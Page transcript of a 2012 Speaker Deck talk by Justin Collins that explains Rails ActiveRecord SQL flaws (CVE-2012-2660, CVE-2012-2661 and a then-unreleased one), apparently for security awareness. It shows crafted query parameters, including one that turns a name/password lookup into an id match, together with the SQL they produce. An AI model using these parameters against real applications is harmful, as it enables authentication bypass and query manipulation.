Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Sponsored
·
Your Podcast. Everywhere. Effortlessly.
Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
→
Justin Collins
April 23, 2015
Programming
87
0
Share
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
170
The Evolution of Rails Security
presidentbeef
1
880
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
170
Practical Static Analysis for Continuous Application Security
presidentbeef
0
250
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
490
Continuous Security with Practical Static Analysis
presidentbeef
1
370
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
280
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
280
Other Decks in Programming
See All in Programming
CSC307 Lecture 17
javiergs
PRO
0
310
Spec-Driven Development with AI-Agents: From High-Level Requirements to Working Software
antonarhipov
2
430
The Arts and Crafts of Work in the AI Era — Toward Mastery in Software Development
kuranuki
1
700
ビジネスモデルから紐解く、AI+型駆動開発
hirokiomote
2
5.2k
JavaDoc 再入門
nagise
0
240
TypeSpec で繋ぐ複数プロダクトの型安全
maroon8021
1
320
ReactとSvelteのその先、Ripple-TS / Beyond React and Svelte: Ripple-TS
ssssota
3
1.9k
「エンジニアインターン、どうやって取った?」準備のリアルを語るLT会 Progate BAR
akiomatic
0
110
AI時代のUIはどこへ行く?その2!
yusukebe
19
6.3k
LLM Plugin for Node-REDの利用方法と開発について
404background
0
150
技術記事、AIに書かせるか、自分で書くか? 〜それでも私が自分の手で書く理由〜 / #QiitaConference
jnchito
2
1.2k
New "Type" system on PicoRuby
pocke
1
420
Featured
See All Featured
The Curse of the Amulet
leimatthew05
1
13k
The SEO Collaboration Effect
kristinabergwall1
1
470
RailsConf 2023
tenderlove
30
1.5k
Site-Speed That Sticks
csswizardry
13
1.2k
Building Better People: How to give real-time feedback that sticks.
wjessup
370
20k
Applied NLP in the Age of Generative AI
inesmontani
PRO
4
2.3k
The Mindset for Success: Future Career Progression
greggifford
PRO
0
350
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
49
10k
Odyssey Design
rkendrick25
PRO
2
660
Tips & Tricks on How to Get Your First Job In Tech
honzajavorek
1
530
svc-hook: hooking system calls on ARM64 by binary rewriting
retrage
2
280
Unlocking the hidden potential of vector embeddings in international SEO
frankvandijk
0
830
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1